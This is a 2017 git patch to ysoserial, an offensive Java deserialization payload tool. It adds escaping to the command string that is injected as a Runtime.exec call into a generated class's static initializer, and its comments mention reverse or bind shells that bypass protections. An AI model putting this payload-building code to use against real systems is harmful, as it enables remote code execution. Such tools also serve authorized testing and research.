From cf44df121aa7af80dfcacf57f77d875a74ee07f2 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Mon, 25 Sep 2017 07:13:29 -0700 Subject: [PATCH] re-added java string escaping --- src/main/java/ysoserial/payloads/util/Gadgets.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index d304277..405bdb5 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -117,7 +117,9 @@ public class Gadgets { final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});"; + String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + + Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") + + "});"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)